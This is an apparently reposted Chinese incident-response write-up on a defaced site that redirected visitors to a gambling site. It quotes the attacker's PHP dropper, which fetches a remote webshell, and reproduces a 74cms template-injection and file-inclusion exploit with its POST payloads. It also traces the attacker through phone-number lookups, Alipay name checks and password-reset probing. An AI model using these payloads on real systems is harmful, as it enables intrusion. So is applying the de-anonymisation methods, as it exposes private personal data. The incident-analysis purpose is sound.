记一次应急响应到溯源入侵者
文本轉(zhuǎn)載于:https://www.freebuf.com/articles/web/289450.html
1.?前言
今年的某月某日,系統(tǒng)監(jiān)測到客戶的一企業(yè)官網(wǎng)www.******.com遭到了網(wǎng)頁篡改,經(jīng)過人工確認將瀏覽器的UA替換為百度UA后訪問網(wǎng)站,此時網(wǎng)站鏈接自動跳轉(zhuǎn)至賭博類違規(guī)網(wǎng)站,當日上午隨即受到客戶的召喚,立刻趕往客戶單位進行初步檢查,并將相關日志文件及樣本拷回做進一步分析。
2. 事件分析
因去到現(xiàn)場時index.php文件已經(jīng)被網(wǎng)站管理員恢復了,但問題不大,還好這哥們留了個心眼備份了文件index_.php,定位到被篡改的文件為首頁面的index_.php,被修改的時間為2021/7/18 18:31:04,可看到攻擊者直接替換掉了首頁文件的內(nèi)容。該PHP內(nèi)容經(jīng)過判斷,來自瀏覽器各大搜索引擎的UA情況后將其訪問跳轉(zhuǎn)至特定的網(wǎng)站,其中$curl=base64_decode("aHR******************W5kZXgucGhwP2hvc3Q9")經(jīng)過解碼后為https://yin*******.com/index.php?host=,該連接可以理解為攻擊者的灰色產(chǎn)業(yè)流量隨機生成跳轉(zhuǎn)頁面。
繼續(xù)對其事件服務器排查,發(fā)現(xiàn)其被篡改的網(wǎng)站為小皮軟件所搭建,中間件為Apache,其數(shù)據(jù)庫與FTP服務賬號密碼均為弱口令,而且服務器上共部署了9個網(wǎng)站之多。
3. 攻擊分析
使用D盾對其所在的目錄進行后門查殺,并查殺出了多個后門文件,其中最早的后門文件存在另一個網(wǎng)站****系統(tǒng)的web目錄上被上傳的時間為2019/1/11。
發(fā)生篡改的系統(tǒng)為服務器上的****系統(tǒng)其目錄為r****5,該目錄下的后門文件最早的時間為2021/3/17,發(fā)生篡改的時間為2021/7/18號,可看到在篡改前2021/7/17是有新的后門文件產(chǎn)生的。
可看到最近的2021/7/17 22:41:34時有條log的日志文件產(chǎn)生,且日志內(nèi)容帶有惡意的后門語句。
跟進到\data\Runtime\Logs\Home目錄下查看21_07_17.log,可見22:41:34時162.***.***.***的IP在/index.php?m=home&a=assign_resume_tpl進行了遠程文件包含的操作
<?php fputs(fopen("home.php","w"),"notfound!!!<?php file_put_contents('url.php',file_get_contents(base64_decode('aHR***************GkudHh0')));?>")?>將其內(nèi)容寫入home.php文件并在22:41:36生成到了網(wǎng)站的根目錄下。
打開home.php文件可見攻擊者已成功將其內(nèi)容寫入至文件中。
其中aHR**********************veGkudHh0經(jīng)過base64解碼得到鏈接http://******8.top/xi.txt,該內(nèi)容為php一句話后門語句。
在??22:41:39時攻擊者并使用home.php文件遠程讀取一句話后門的TXT文件并生成了url.php的后門文件,其后門內(nèi)容與遠端TXT文件內(nèi)容一致。
至此,攻擊者在2021/7/18號18:30:31時上傳了logo.jpg文件其內(nèi)容就是index.php惡意跳轉(zhuǎn)的代碼,并在18:31:04時替換掉了index.php 達到了篡改的目的。
4. 攻擊復現(xiàn)
查看Application目錄下的文件,可看到該被入侵篡改網(wǎng)站使用的是74cms所搭建的,其版本為6.0.13。
據(jù)了解小于6.0.48的版存在模板注入與文件包含漏洞,恰好被篡改的網(wǎng)站74cms的版本在漏洞版本的范圍內(nèi),攻擊者則是利用了該版本的漏洞達到的getshell的目的,下面將含有漏洞的版本下載至本地搭建復原攻擊者漏洞利用的過程。
該漏洞位于/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函數(shù)因為過濾不嚴格,導致了模板注入,可以進行遠程命令執(zhí)行。
訪問http://127.0.0.1/index.php?m=home&a=assign_resume_tpl,使用POST方式提交數(shù)據(jù):
variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企業(yè)id="$_GET['id']"/>隨后到data\Runtime\Logs\Home目錄下產(chǎn)生了錯誤的log日志文件,并將phpinfo寫入到了日志文件中。
接下來就是包含日志里記錄的phpinfo語句,POST方式提交
variable=1&tpl=data/Runtime/Logs/Home/21_07_23.log成功利用文件包含漏洞包含出了phpinfo。
5. 溯源攻擊者
經(jīng)以上分析得知,攻擊者在17-18號期間利用該漏洞最終生成了url.php的后門文件,提取出access.log中間件日志文件17到18號的流量,再從其中篩選出url.php的流量情況,共得到45.**.***.***(美國)、27.***.***.***(韓國)、61.***.***.***(香港)三個IP,目測這三個IP均為攻擊者的代理IP。
上述得到的攻擊參數(shù)中,base64解碼得到鏈接http://******8.top/xi.txt為存放一句話的文本,其網(wǎng)站首頁為攻擊者的個人頁面。*****8.top因使用的是Cloudflare服務商的CND加速無法獲取到服務器真實的IP,但在查詢歷史解析時hacker.******8.top二級域名解析過103.***.***.***(香港),經(jīng)訪問該IP這是目前*****.top域名的真實IP。
對103.***.***.***這個IP進行端口探測以及目錄掃描,其中根目錄下的xin.txt、xi.txt、dama.txt、123.txt均為后門文件的文本格式可見該攻擊者應該是職業(yè)的黑灰產(chǎn)人員了,根目錄下的config.json則為貓池挖礦錢包地址:4AW2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Pass:2021
進一步的信息收集通過對103.***.***.***歷史綁定的域名反查,在2021/07/12時heike****.com解析到過該IP。
訪問heike****.com可看到該網(wǎng)站為黑客性質(zhì)類論壇,目前域名解析的IP為154.***.***.***,其443端口為黑客性質(zhì)與黑產(chǎn)SEO相關網(wǎng)站。
回到*****8.top這個攻擊者的個人頁面網(wǎng)站,在查看網(wǎng)頁源碼時發(fā)現(xiàn)其顯示的頭像鏈接https://q2.qlogo.cn/headimg_dl?dst_uin=77*******&spec=640&img_type=jpg,其源碼調(diào)用的是QQ頭像庫的鏈接,得到QQ號77*******與其QQ資料的頭像相同。
使用大數(shù)據(jù)檢索庫得到其QQ綁定的手機號為17*********,歸屬地為內(nèi)蒙古錫林郭勒,運營商中國電信。
使用支付寶轉(zhuǎn)賬功能證實該手機號已實名,并得到某寧名字,且頭像為個人自拍帥照一張,資料顯示也為內(nèi)蒙古地區(qū),并且其微信也是綁定該手機號。
經(jīng)過以上的溯源我們得到了基本的信息,可以確定該攻擊者從事的是黑灰產(chǎn)的SEO,專門通過入侵互聯(lián)網(wǎng)上脆弱的網(wǎng)站植入后門、暗鏈、跳轉(zhuǎn)劫持等以達到提高其網(wǎng)站的流量與權(quán)重,黑帽SEO的盈利模式通常是以訪問量來結(jié)算的,所以就得有各大平臺的流量統(tǒng)計插件來統(tǒng)計訪問量,下面繼續(xù)收集其信息。
訪問http://*****8.top/seo/目錄在以下統(tǒng)計圖標中得到https://www.cnzz.com/stat/website.php?web_id=128******友盟的統(tǒng)計ID。
并在友盟統(tǒng)計登錄的忘記密碼功能處,輸入賬號(為前面域名的名)找回密碼得到該賬號綁定的手機號為159********。
在http://*****8.top/seo/tz.js的跳轉(zhuǎn)腳本中指向http://*****8.top/seo/cps.html頁面。
訪問該頁面得到另一個友盟的統(tǒng)計ID:https://uweb.umeng.com/v1/login.php?siteid=127x******
捕獲前面篡改跳轉(zhuǎn)到https://yin*****.com違規(guī)網(wǎng)站的js文件,得到到百度統(tǒng)計的ID:https://hm.baidu.com/hm.js?fe000000000000000000000000000同時也得到y(tǒng)in*****.html頁面該名稱對應友盟統(tǒng)計ID:12*******的用戶名yin****。
在百度統(tǒng)計的密碼找回功能中,經(jīng)模糊測試同源名稱其中用戶名為****888、****8888、****88888均存在注冊。
在源代碼尾部得到其51la的SDKid:JNT**********
6. 總結(jié)
經(jīng)過以上分析,攻擊者在2021/7/17 時通過騎士cms的注入與文件包含漏洞寫入了url.php一句話后門文件,并上傳logo.jpg文件替換掉了index.php網(wǎng)站首頁的內(nèi)容使得將網(wǎng)站跳轉(zhuǎn)至賭博網(wǎng)站。
修復建議:
該網(wǎng)站被多次篡改并留存其他攻擊者的后門文件時間久遠,建議對服務器整個磁盤進行webshell后門查殺。
網(wǎng)站所使用的cms框架版本過低存在高危漏洞,關注騎士cms官網(wǎng)發(fā)布補丁以及修復方法http://www.74cms.com/news/show-2497.html。
服務器上的數(shù)據(jù)庫與FTP服務均為弱口令,建議增強口令的復雜度,8位字符以上且具有大小寫組合。
7. 小Tisp
類似于這類的頁面篡改事件,當我們?nèi)ガF(xiàn)場后該如何開展相應的工作呢。
1.到達客戶現(xiàn)場后第一時間告知網(wǎng)站管理人員請勿對被篡改文件進行刪除或修改,本次事件的網(wǎng)站管理員就馬上把重要證據(jù)文件給修改恢復了,但不過還好這位小哥備份了下來,建議去現(xiàn)場前電話跟客戶電話溝通好能不動的就不動,最好是直接拔網(wǎng)線斷網(wǎng),留好證據(jù)方便后面溯源的工作。
2.到現(xiàn)場后跟網(wǎng)站管理人員,發(fā)生篡改后有沒有自己進行巡檢自己發(fā)現(xiàn)什么異常之類的,自主發(fā)現(xiàn)的話是什么時候發(fā)現(xiàn)的呢,確定好被篡改文件的首次修改時間,對下面核對日志溯源的工作至關重要。
3.通過判斷確認該篡改為內(nèi)容篡改還是跳轉(zhuǎn)劫持類型的,詢問網(wǎng)站管理員當前web文件存放的位置除了被篡改的網(wǎng)站還有沒有其他系統(tǒng)的網(wǎng)站,都開了那些端口之類的。
4.看當前環(huán)境下的拓撲圖,看是否有記錄流量設備的日志,如果有此次篡改的攻擊有沒有產(chǎn)生什么相應的告警之類的等等。
5.很多單位的等保系統(tǒng)現(xiàn)在也都部署了網(wǎng)頁防篡改系統(tǒng),但也屢屢發(fā)生被篡改的事件,以往的經(jīng)驗來看,部署了還發(fā)生篡改的要么就是防護的目錄不到位,要么就是上防護之前就已經(jīng)遺留有后門文件了,還有就是程序員在更新代碼時把防護關了后就忘了再次開起來了,所以也要有必要的問一下有沒有進行一個查殺后門文件的周期工作,還有防護了那些目錄或者頁面等。
總結(jié)
以上是生活随笔為你收集整理的记一次应急响应到溯源入侵者的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 从外网Thinkphp3日志泄露到杀入内
- 下一篇: 记一次CNVD通用漏洞审计